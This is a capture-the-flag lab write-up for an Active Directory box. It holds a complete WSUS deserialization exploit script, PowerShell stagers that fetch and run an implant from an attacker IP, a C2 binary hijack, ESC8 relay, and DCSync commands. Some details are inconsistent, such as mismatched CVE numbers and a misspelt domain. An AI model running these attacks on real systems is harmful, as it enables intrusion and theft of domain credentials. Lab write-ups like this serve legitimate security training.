Dismay
This box is provided by HackSmarter https://www.hacksmarter.org/
Overview
Dismay is an Active Directory penetration testing lab that simulates a realistic internal network engagement across three Windows servers: two domain controllers (DC1 and DC2) and an application server (Nexus) running Windows Server Update Services (WSUS). The engagement starts with a low-privileged Active Directory user account and ends with full Domain Admin access.
The full attack chain:
- Initial Enumeration - Use the provided credentials to enumerate SMB shares and RDP into Nexus. Discover sensitive PDF documents in the Recycle Bin and a password-protected archive (
Confidential.7z). - Credential Recovery - The archive cannot be cracked with
rockyou.txt, but the password is embedded inside one of the recovered PDF files (Spring_2026_Temp!). The archive contains an internal penetration test report that leaks credentials for a second user (guy.rookie). - WSUS Privilege Escalation (CVE-2023-35317) - Exploit a .NET deserialization vulnerability in the WSUS
ReportingWebServiceendpoint on port 8530 to achieve SYSTEM-level remote code execution on Nexus. Deliver a stager viaysoserialand a PowerShell encoded command, then escalate from the resulting machine account to SYSTEM usingpotato-dcomwithin the Adaptix C2 framework. - ACL Abuse Chain - Run BloodHound against the domain to map an ACL attack path:
guy.rookiecan force-changeJENA.YAMAZAKI's password → Jena hasGenericAlloverMIKE.SILVER→ Mike hasAddMemberrights onSHARES_OPERATORS→ that group has read/write access to the Tools share on DC1. - DC1 Beacon via Binary Hijack - Abuse Mike's write access to the Tools share to overwrite
Dism.exewith a malicious Rust loader. When an automated scheduled task on DC1 runs the binary, a C2 beacon connects back. - wang.kali Lateral Movement - Enumerate credentials for
wang.kalifound in a public Pictures folder on Nexus. Use a net command via the DC1 beacon to addwang.kaliandmike.silvertoDC2-WINRM-USERS, then laterally move into DC2 viaevil-winrm. - ESC8 ADCS Relay - Use
certipy-adto set up an NTLM relay targeting the Certificate Authority on DC2, then use PetitPotam to coerce DC1 into authenticating to the relay. Obtain a certificate for theDC1$machine account. - DCSync & Domain Admin - Authenticate with the
DC1$certificate to retrieve its NTLM hash, then perform a DCSync withimpacket-secretsdumpto dump all domain credentials including the Administrator hash. Use the hash to log in viaevil-winrmand retrieve the final flag.
Domain: dismay.hsm
Provided Credentials: xiao.ge:AmBZATVjnH4qo8H4
Objective
You have been assigned a penetration test of a client's internal network. There are three different servers in-scope. Your task is to identify all vulnerabilities and demonstrate impact to the client by elevating your access to Domain Admin. The client has provided you VPN access and Active Directory credentials (below) for the engagement.
Initial Access
The client has provided you with Active Directory credentials and VPN access. xiao.ge:AmBZATVjnH4qo8H4
Machines
- DC1 - 10.0.22.200
- DC2 - 10.0.19.136
- Nexus - 10.0.25.70
Recon
Nexus Recon
We begin with a standard Nmap service scan followed by a full port scan to ensure we don't miss anything running on non-standard ports.
sudo nmap -sC -sV -vv -oA tcp 10.0.25.70; sudo nmap -sC -sV -vv -p- -oA allports 10.0.25.70The default port scan returns the usual Windows services - SMB, RDP, WinRM, and so on.
The full port scan reveals two additional interesting ports: 8530 and 8531. These are the default HTTP and HTTPS ports for Windows Server Update Services (WSUS), indicating Nexus is acting as the internal patch management server for the domain.
We test the provided credentials against SMB on Nexus to see what shares are accessible. The credentials are valid and we can enumerate share permissions.
nxc smb 10.0.25.70 -u xiao.ge -p AmBZATVjnH4qo8H4 --sharesWe notice a WsusContent share. We connect using impacket-smbclient to browse its contents and look for anything useful left behind.
impacket-smbclient xiao.ge:[email protected]We confirm that RDP is enabled for this user, giving us GUI access to the machine for broader exploration.
nxc rdp 10.0.25.70 -u xiao.ge -p AmBZATVjnH4qo8H4We fuzz the WSUS web interface on port 8530 to enumerate available directories and endpoints. This will help identify attack surface on the WSUS application.
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -u http://10.0.25.70:8530/FUZZ -icWe RDP into the Nexus machine and begin manual enumeration. In the Recycle Bin we find three PDF files that were deleted but not yet purged - a common mistake in simulated environments that leaks sensitive internal documents.
System_Audit_Log.pdf - An internal audit log. We review it for credentials, hostnames, or other useful reconnaissance data.
Invoice_Draft_2026_Q2.pdf - A draft invoice document. We scan it for any embedded metadata or credentials.
Meeting_Notes_Archive.pdf - Meeting notes that may contain references to internal infrastructure, accounts, or processes. One of these PDFs contains a password that will be useful later: Spring_2026_Temp!
Browsing to C:\Test we find several PowerShell scripts. Reviewing their contents reveals that other machines on the network are connecting to Nexus on a scheduled basis - likely clients pulling updates from WSUS. This confirms that code execution on Nexus will eventually give us callbacks from domain-joined machines.
At this point we deploy an Adaptix C2 beacon on Nexus, giving us a persistent and interactive shell on the machine outside of RDP.
We locate a file called Confidential.7z and download it. We use 7z2john to extract a crackable hash and attempt to break the password with the rockyou.txt wordlist.
7z2john Confidential.7z > conf_hashThe password does not appear in rockyou.txt. However, cross-referencing the PDF documents we recovered earlier, we try the password found in one of the PDF files: Spring_2026_Temp! - and it works.
The archive contains an internal penetration test report. We read through it carefully, as pentest reports often contain credentials, vulnerability details, and network architecture information that can be leveraged during an engagement.
Recon DC1
We run the same Nmap scan pattern against DC1 to enumerate running services and open ports.
sudo nmap -sC -sV -vv -oA tcp 10.0.22.200; sudo nmap -sC -sV -vv -p- -oA allports 10.0.22.200Recon DC2
We run the same Nmap scan pattern against DC2 to enumerate running services and open ports.
sudo nmap -sC -sV -vv -oA tcp 10.0.19.136; sudo nmap -sC -sV -vv -p- -oA allports 10.0.19.136Nexus Privilege Escalation - CVE-2023-35317 (WSUS Deserialization RCE)
CVE-2023-35317 is a .NET deserialization vulnerability in Windows Server Update Services (WSUS). The ReportingWebService SOAP endpoint accepts serialized .NET objects as part of event report data. By sending a maliciously crafted DataSet object serialized with BinaryFormatter, an unauthenticated (or low-privileged) attacker can achieve remote code execution in the context of the WSUS service, which typically runs as NETWORK SERVICE or SYSTEM.
The exploit flow is:
- Retrieve the WSUS server's
ServerIdvia theReportingWebServiceSOAP endpoint. - Request an authorization cookie from
SimpleAuthWebServiceusing the server ID. - Exchange the auth cookie for a reporting cookie via
ClientWebService. - Send a malicious
ReportEventBatchSOAP request containing aBinaryFormatter-serializedRolePrincipalgadget chain that triggers arbitrary command execution when deserialized.
The PoC below automates these steps. The popcalc payload is a pre-built ysoserial.net gadget chain - in practice this is replaced with a stager that downloads and executes our implant.
#!/usr/bin/env python3
import requests
import urllib3
import xml.etree.ElementTree as ET
from datetime import datetime, timezone
import sys
import uuid
from xml.sax.saxutils import escape
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {
"http": "127.0.0.1:8080",
"https": "127.0.0.1:8080"
}
def get_auth_cookie(target, server_id=None):
url = f"{target}/SimpleAuthWebService/SimpleAuth.asmx"
headers = {'SOAPAction': '"http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService/GetAuthorizationCookie"', 'Content-Type': 'text/xml'}
if server_id is None:
server_id = str(uuid.uuid4())
soap_body = f'''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetAuthorizationCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService">
<clientId>{server_id}</clientId>
<targetGroupName></targetGroupName>
<dnsName>hawktrace.local</dnsName>
</GetAuthorizationCookie>
</soap:Body>
</soap:Envelope>'''
try:
response = requests.post(url, data=soap_body, headers=headers, timeout=30, verify=False, proxies=proxies)
if response.status_code == 200:
root = ET.fromstring(response.text)
for elem in root.iter():
if 'CookieData' in elem.tag and elem.text:
print(f"[+] Using ID: {server_id}")
return elem.text
except Exception as e:
print(f"[-] Auth cookie error: {e}")
return None
def get_server_id(target):
url = f"{target}/ReportingWebService/ReportingWebService.asmx"
headers = {
'SOAPAction': '"http://www.microsoft.com/SoftwareDistribution/GetRollupConfiguration"',
'Content-Type': 'text/xml'
}
soap_body = '''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetRollupConfiguration xmlns="http://www.microsoft.com/SoftwareDistribution">
<cookie xmlns:i="http://www.w3.org/2001/XMLSchema-instance" i:nil="true"/>
</GetRollupConfiguration>
</soap:Body>
</soap:Envelope>'''
try:
response = requests.post(url, data=soap_body, headers=headers, timeout=30, verify=False, proxies=proxies)
if response.status_code == 200:
root = ET.fromstring(response.text)
for elem in root.iter():
if 'ServerId' in elem.tag and elem.text:
print(f"[+] Server ID: {elem.text}")
return elem.text
except Exception as e:
print(f"[-] Server ID error: {e}")
fallback_id = str(uuid.uuid4())
print(f"[!] Using fallback ID: {fallback_id}")
return fallback_id
def get_reporting_cookie(target, auth_cookie):
url = f"{target}/ClientWebService/Client.asmx"
headers = {'SOAPAction': '"http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie"', 'Content-Type': 'text/xml'}
timenow = datetime.now(timezone.utc).strftime('%Y-%m-%dT%H:%M:%SZ')
soap_body = f'''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
<authCookies>
<AuthorizationCookie>
<PlugInId>SimpleTargeting</PlugInId>
<CookieData>{auth_cookie}</CookieData>
</AuthorizationCookie>
</authCookies>
<oldCookie xmlns:i="http://www.w3.org/2001/XMLSchema-instance" i:nil="true"/>
<lastChange>{timenow}</lastChange>
<currentTime>{timenow}</currentTime>
<protocolVersion>1.20</protocolVersion>
</GetCookie>
</soap:Body>
</soap:Envelope>'''
try:
response = requests.post(url, data=soap_body, headers=headers, timeout=30, verify=False, proxies=proxies)
if response.status_code == 200:
root = ET.fromstring(response.text)
cookie_data = {}
for elem in root.iter():
if 'Expiration' in elem.tag:
cookie_data['expiration'] = elem.text
elif 'EncryptedData' in elem.tag:
cookie_data['encrypted_data'] = elem.text
if 'encrypted_data' in cookie_data:
return cookie_data
except:
pass
return None
def send_malicious_event(target, cookie):
url = f"{target}/ReportingWebService/ReportingWebService.asmx"
target_sid = str(uuid.uuid4())
event_instance_id = str(uuid.uuid4())
timenow = datetime.now(timezone.utc).strftime('%Y-%m-%dT%H:%M:%S.%f')[:-3]
popcalc = '''<SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><a1:DataSet id="ref-1" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/System.Data/System.Data%2C%20Version%3D4.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3Db77a5c561934e089"><DataSet.RemotingFormat xsi:type="a1:SerializationFormat" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/System.Data/System.Data%2C%20Version%3D4.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3Db77a5c561934e089">Binary</DataSet.RemotingFormat><DataSet.DataSetName id="ref-3"></DataSet.DataSetName><DataSet.Namespace href="#ref-3"/><DataSet.Prefix href="#ref-3"/><DataSet.CaseSensitive>false</DataSet.CaseSensitive><DataSet.LocaleLCID>1033</DataSet.LocaleLCID><DataSet.EnforceConstraints>false</DataSet.EnforceConstraints><DataSet.ExtendedProperties xsi:type="xsd:anyType" xsi:null="1"/><DataSet.Tables.Count>1</DataSet.Tables.Count><DataSet.Tables_0 href="#ref-4"/></a1:DataSet><SOAP-ENC:Array id="ref-4" xsi:type="SOAP-ENC:base64">AAEAAAD/////AQAAAAAAAAAMAgAAAE1TeXN0ZW0uV2ViLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49YjAzZjVmN2YxMWQ1MGEzYQUBAAAAIVN5c3RlbS5XZWIuU2VjdXJpdHkuUm9sZVByaW5jaXBhbAEAAAAqU3lzdGVtLlNlY3VyaXR5LkNsYWltc1ByaW5jaXBhbC5JZGVudGl0aWVzAQIAAAAGAwAAAOAKQUFFQUFBRC8vLy8vQVFBQUFBQUFBQUFNQWdBQUFGNU5hV055YjNOdlpuUXVVRzkzWlhKVGFHVnNiQzVGWkdsMGIzSXNJRlpsY25OcGIyNDlNeTR3TGpBdU1Dd2dRM1ZzZEhWeVpUMXVaWFYwY21Gc0xDQlFkV0pzYVdOTFpYbFViMnRsYmowek1XSm1NemcxTm1Ga016WTBaVE0xQlFFQUFBQkNUV2xqY205emIyWjBMbFpwYzNWaGJGTjBkV1JwYnk1VVpYaDBMa1p2Y20xaGRIUnBibWN1VkdWNGRFWnZjbTFoZEhScGJtZFNkVzVRY205d1pYSjBhV1Z6QVFBQUFBOUdiM0psWjNKdmRXNWtRbkoxYzJnQkFnQUFBQVlEQUFBQXFRWThQM2h0YkNCMlpYSnphVzl1UFNJeExqQWlJR1Z1WTI5a2FXNW5QU0oxZEdZdE1UWWlQejROQ2p3UFltcGxZM1JFWVhSaFVISnZkbWxrWlhJZ1RXVjBhRzlrVG1GdFpUMGlVM1JoY25RaUlFbHpTVzVwZEdsaGJFeHZZV1JGYm1GaWJHVmtQU0pHWVd4elpTSWdlRzFzYm5NOUltaDBkSEE2THk5elkyaGxiV0Z6TG0xcFkzSnZjMjltZEM1amIyMHZkMmx1Wm5ndk1qQXdOaTk0WVcxc0wzQnlaWE5sYm5SaGRHbHZiaUlnZUcxc2JuTTZjMlE5SW1Oc2NpMXVZVzFsYzNCaFkyVTZVM2x6ZEdWdExrUnBZV2R1YjNOMGFXTnpPMkZ6YzJWdFlteDVQVk41YzNSbGJTSWdlRzFzYm5NNmVEMGlhSFIwY0RvdkwzTmphR1Z0WVhNdWJXbGpjbTl6YjJaMExtTnZiUzkzYVc1bWVDOHlNREEyTDNoaGJXd2lQZzBLSUNBOFQySnFaV04wUkdGMFlWQnliM1pwWkdWeUxrOWlhbVZqZEVsdWMzUmhibU5sUGcwS0lDQWdJRHh6WkRwUWNtOWpaWE56UGcwS0lDQWdJQ0FnUEhOa09sQnliMk5sYzNNdVUzUmhjblJKYm1adlBnMEtJQ0FnSUNBZ0lDQThjMlE2VUhKdlkyVnpjMU4wWVhKMFNXNW1ieUJCY21kMWJXVnVkSE05SWk5aklIQnZkMlZ5YzJobGJHd2dMV1VnVlhkQ01FRkhSVUZqWjBJd1FVTXdRVlZCUW5sQlJ6aEJXWGRDYkVGSVRVRmpkMEZuUVVWTlFVOW5RbU5CUm5kQlZuZENjRUZITkVGYVFVSjJRVWhqUVdOM1FtTkJSbmRCVmtGQ2FFRklUVUZoZDBKNlFVWjNRVmhCUW1oQlNFMUJUR2RDYkVGSVowRmFVVUU5SWlCVGRHRnVaR0Z5WkVWeWNtOXlSVzVqYjJScGJtYzlJbnQ0T2s1MWJHeDlJaUJUZEdGdVpHRnlaRTkxZEhCMWRFVnVZMjlrYVc1blBTSjdlRHBPZFd4c2ZTSWdWWE5sY2s1aGJXVTlJaUlnVUdGemMzZHZjbVE5SW50NE9rNTFiR3g5SWlCRWIyMWhhVzQ5SWlJZ1RHOWhaRlZ6WlhKUWNtOW1hV3hsUFNKR1lXeHpaU0lnUm1sc1pVNWhiV1U5SW1OdFpDSWdMejROQ2lBZ0lDQWdJRHd2YzJRNlVISnZZMlZ6Y3k1VGRHRnlkRWx1Wm04K0RRb2dJQ0FnUEM5elpEcFFjbTlqWlhOelBnMEtJQ0E4TDA5aWFtVmpkRVJoZEdGUWNtOTJhV1JsY2k1UFltcGxZM1JKYm5OMFlXNWpaVDROQ2p3dlQySnFaV04wUkdGMFlWQnliM1pwWkdWeVBncz0L</SOAP-ENC:Array></SOAP-ENV:Body></SOAP-ENV:Envelope>'''
soap_body = f'''<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">
<soap:Body>
<ReportEventBatch xmlns="http://www.microsoft.com/SoftwareDistribution">
<cookie>
<Expiration>{cookie['expiration']}</Expiration>
<EncryptedData>{cookie['encrypted_data']}</EncryptedData>
</cookie>
<clientTime>{timenow}</clientTime>
<eventBatch xmlns:q1="http://www.microsoft.com/SoftwareDistribution" soapenc:arrayType="q1:ReportingEvent[1]">
<ReportingEvent>
<BasicData>
<TargetID>
<Sid>{target_sid}</Sid>
</TargetID>
<SequenceNumber>0</SequenceNumber>
<TimeAtTarget>{timenow}</TimeAtTarget>
<EventInstanceID>{event_instance_id}</EventInstanceID>
<NamespaceID>2</NamespaceID>
<EventID>389</EventID>
<SourceID>301</SourceID>
<UpdateID>
<UpdateID>00000000-0000-0000-0000-000000000000</UpdateID>
<RevisionNumber>0</RevisionNumber>
</UpdateID>
<Win32HResult>0</Win32HResult>
<AppName>LocalServer</AppName>
</BasicData>
<ExtendedData>
<MiscData soapenc:arrayType="xsd:string[2]">
<string>Administrator=SYSTEM</string>
<string>SynchronizationUpdateErrorsKey={escape(popcalc)}</string>
</MiscData>
</ExtendedData>
<PrivateData>
<ComputerDnsName></ComputerDnsName>
<UserAccountName></UserAccountName>
</PrivateData>
</ReportingEvent>
</eventBatch>
</ReportEventBatch>
</soap:Body>
</soap:Envelope>'''
headers = {
'Connection': 'Keep-Alive',
'Content-Type': 'text/xml',
'Accept': 'text/xml',
'User-Agent': 'Windows-Update-Agent',
'SOAPAction': '"http://www.microsoft.com/SoftwareDistribution/ReportEventBatch"',
'Host': target.replace('http://', '').replace('https://', '')
}
try:
response = requests.post(url, data=soap_body, headers=headers, timeout=30, verify=False, proxies=proxies)
if response.status_code == 200 and 'true' in response.text:
return True, event_instance_id, target_sid
else:
return False, None, None
except Exception as e:
print(f"[DEBUG] Exception: {e}")
return False, None, None
def main():
if len(sys.argv) < 2:
print("Usage: python HawkTrace.py <target_url>")
print("Example: python HawkTrace.py http://192.168.1.100:8530")
sys.exit(1)
target = sys.argv[1]
print(r"""
_ _ _
| | | | | |
| |__ __ ___ _| | _| |_ _ __ __ _ ___ ___
| '_ \ / _` \ \ /\ / / |/ / __| '__/ _` |/ __/ _ \
| | | | (_| |\ V V /| <| |_| | | (_| | (_| __/
|_| |_|\__,_| \_/\_/ |_|\_\\__|_| \__,_|\___\___|
Batuhan Er @int20z
CVE-2025-59287
""")
print()
print("[+] Getting Server ID...")
server_id = get_server_id(target)
print("[+] Auth cookie with Server ID...")
auth_cookie = get_auth_cookie(target, server_id)
if not auth_cookie:
print("[-] Failed")
return
cookie = get_reporting_cookie(target, auth_cookie)
if not cookie:
print("[-] Failed")
return
print("[+] Sending event with payload...")
success, event_id, target_sid = send_malicious_event(target, cookie)
if success:
print("[+] SUCCESS!")
print("[!] RCE will trigger!")
else:
print("[-] Failed")
if __name__ == "__main__":
main()Because WSUS runs PowerShell commands through a restricted context, we cannot pass plaintext commands directly. Instead, we Base64-encode our PowerShell stager so it can be passed as an encrypted command (-e flag), bypassing command-line argument restrictions.
Step 1 - Download our implant from the attacker's HTTP server and save it to a writable path:
$str = "wget http://10.200.51.34:8443/a.exe -OutFile C:\\Windows\\Tasks\\as.exe"
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))We feed this Base64 string into ysoserial.exe to generate a fresh RolePrincipal gadget chain that triggers the download when deserialized:
.\ysoserial.exe -g RolePrincipal -f BinaryFormatter -c "powershell -e dwBnAGUAdAAgAGgAdAB0AHAAOgAvAC8AMQAwAC4AMgAwADAALgA1ADEALgAzADQAOgA4ADQANAAzAC8AYQAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAXABXAGkAbgBkAG8AdwBzAFwAXABUAGEAcwBrAHMAXABcAGEAcwAuAGUAeABlAA==" -o base64Step 2 - Execute the downloaded binary:
$str = "Start-Process C:\\Windows\\Tasks\\as.exe"
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str)).\ysoserial.exe -g RolePrincipal -f BinaryFormatter -c "powershell -e UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFwAVwBpAG4AZABvAHcAcwBcAFwAVABhAHMAawBzAFwAXABhAHMALgBlAHgAZQA=" -o base64We send both payloads through the exploit. The first deserialization downloads the binary; the second executes it.
The exploit runs in the context of the WSUS application pool, which gives us a machine account (NEXUS$). This is a domain-joined machine account - useful, but not SYSTEM yet.
To elevate from the machine account to NT AUTHORITY\SYSTEM, we use the potato-dcom module built into Adaptix C2. This technique abuses COM object instantiation to hijack a SYSTEM-level DCOM call and impersonate it, allowing us to execute our implant as SYSTEM.
potato-dcom --run C:\\Windows\\Tasks\\as.exeWe now have a SYSTEM beacon on Nexus. Browsing to the Administrator's desktop, we find Confidential.pdf - the final document we need to review.
Reviewing all the documents recovered throughout the engagement, we identify a new set of credentials for the user guy.rookie with the password O0Aco9FQJQ. Testing this account against both DC1 and DC2 confirms it is valid on both domain controllers.
Active Directory Enumeration & ACL Abuse
We run the BloodHound Community Edition collector using guy.rookie's credentials to ingest all domain objects, ACLs, group memberships, and session data from the domain controller.
bloodhound-ce-python -c All -u guy.rookie -p O0Aco9FQJQ -d dismay.hsm -dc dc1.dismay.hsm -ns 10.0.22.200Analyzing the BloodHound graph, we identify a full ACL attack path to Domain Admin. The chain begins with guy.rookie:
guy.rookie has ForceChangePassword rights over JENA.YAMAZAKI, meaning we can reset her password without knowing the current one.
JENA.YAMAZAKI has GenericAll over MIKE.SILVER, giving full control over Mike's account - including the ability to force-change his password as well.
MIKE.SILVER has AddMember rights on the SHARES_OPERATORS group. That group has read/write access to the Tools share on DC1 - a share that likely has binaries executed by automated processes.
We begin exploiting the chain. First, we force a password reset on Jena using net rpc authenticated as guy.rookie:
net rpc password "JENA.YAMAZAKI" "newP@ssword2022" -U "dismay.hsm"/"guy.rookie"%"O0Aco9FQJQ" -S "dc1.dismay.hsm"The password change succeeds. We verify the new credentials work against DC2 as well, confirming this account has domain-wide validity.
Now we abuse Jena's GenericAll over Mike to force another password reset, this time authenticating as Jena:
net rpc password "MIKE.SILVER" "newP@ssword2022" -U "dismay.hsm"/"JENA.YAMAZAKI"%"newP@ssword2022" -S "dc1.dismay.hsm"With control of Mike's account, we use his AddMember rights to add himself to the SHARES_OPERATORS group, granting read/write access to the Tools share:
net rpc group addmem "SHARES_OPERATORS" "MIKE.SILVER" -U "dismay.hsm"/"MIKE.SILVER"%"newP@ssword2022" -S "dc1.dismay.hsm"We confirm that Mike now has read/write access to the Tools share on DC1.
With write access to the Tools share, we overwrite Dism.exe (the Windows Deployment Image Servicing and Management tool) with our Rust-based malicious loader. Since an automated task on DC1 periodically executes binaries from this share, the next execution of Dism.exe will run our implant instead. Shortly after replacing the file, we receive a C2 beacon back from DC1.
From the DC1 beacon we collect the user flag belonging to wang.kali.
wang.kali has the AddMember right on the DC2-WINRM-USERS group, which would allow us to grant ourselves WinRM access to DC2. However, we need valid credentials for wang.kali to use this right interactively.
We try using SharpView (a managed .NET port of PowerView) to add wang.kali to the group directly via our beacon, but this fails - likely because executing it as the current context doesn't have the right token.
execute-assembly ~/Documents/local-scripts/SharpCollection/NetFramework_4.7_x64/SharpView.exe Add-DomainGroupMember -Identity 'DC2-WINRM-USERS' -Members 'wang.kali'We pivot to running Seatbelt through our beacon to perform an automated host-based enumeration of Nexus, looking for cached credentials, stored secrets, scheduled task configurations, and other sensitive data.
shell net group "DC2-WINRM-USERS" wang.kali /add /domainWe do the same for mike.silver to ensure we have a reliable WinRM path into DC2 using our controlled account, then connect:
evil-winrm-py -i 10.0.19.136 -u mike.silver -p 'newP@ssword2022' We establish a C2 beacon on DC2 by downloading and executing our implant over the WinRM session:
wget http://10.200.51.34:8443/rr.exe -OutFile C:\Windows\Tasks\rr.exe
Start-Process C:\Windows\Tasks\rr.exeWe run Seatbelt on DC2 to gather additional host-based intelligence before moving to the final phase.
ESC8 - ADCS NTLM Relay Attack
With access to DC2 and knowledge of the internal Certificate Authority infrastructure, we shift focus to Active Directory Certificate Services (ADCS). We use certipy-ad to enumerate available certificate templates and their enrollment permissions.
certipy-ad find -u MIKE.SILVER -p 'newP@ssword2022' -dc-ip 10.0.19.136We identify that the User certificate template has enrollment rights granted to DC1. More importantly, the CA itself is vulnerable to ESC8: the ADCS HTTP enrollment endpoint accepts NTLM authentication and does not enforce EPA (Extended Protection for Authentication), making it susceptible to NTLM relay.
ESC8 works as follows: if we can coerce a machine account (such as DC1$) into making an outbound NTLM authentication attempt toward our relay, and we forward that authentication to the ADCS web enrollment endpoint, the CA will issue a certificate on behalf of DC1$. That certificate can then be used to authenticate as DC1 and request its NTLM hash via PKINIT - effectively giving us a path to DCSync.
We start the certipy-ad relay listener targeting the ADCS HTTP endpoint on DC2, requesting enrollment using the User template (the DomainController template can also be used here):
certipy-ad relay -target 'http://dc2.dismay.hsm' -template User -debugWith the relay running, we use PetitPotam to coerce DC1 into authenticating outbound to our attacker machine. PetitPotam abuses the MS-EFSRPC protocol to trigger NTLM authentication from a target machine without requiring domain admin privileges.
python3 PetitPotam.py -u MIKE.SILVER -p 'newP@ssword2022' -d dismay.hsm 10.200.51.34 dc1.dismay.hsmDC1 authenticates to our relay, which forwards the NTLM authentication to the ADCS enrollment endpoint and successfully obtains a certificate for DC1$.
We authenticate using the DC1$ certificate to obtain the machine account's NTLM hash via Kerberos PKINIT:
certipy-ad auth -pfx dc1.pfx -dc-ip 10.0.22.200 DCSync & Domain Admin
With the DC1$ NTLM hash in hand, we use impacket-secretsdump to perform a DCSync attack. DCSync abuses the MS-DRSR (Directory Replication Service Remote Protocol) to request replication of password hashes from the domain controller as if we were another DC. Domain machine accounts have the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All rights by default, making DC1$ a valid account for this operation.
impacket-secretsdump -hashes 07051010977116b587c2b52b40f14ac0:07051010977116b587c2b52b40f14ac0 dismau.hsm/'dc1$'@dc1.dismay.hsmThis dumps all domain account NTLM hashes, including the Administrator account. Using the Administrator hash we authenticate to DC1 via evil-winrm using pass-the-hash and retrieve the final flag, completing the engagement with full Domain Admin access.

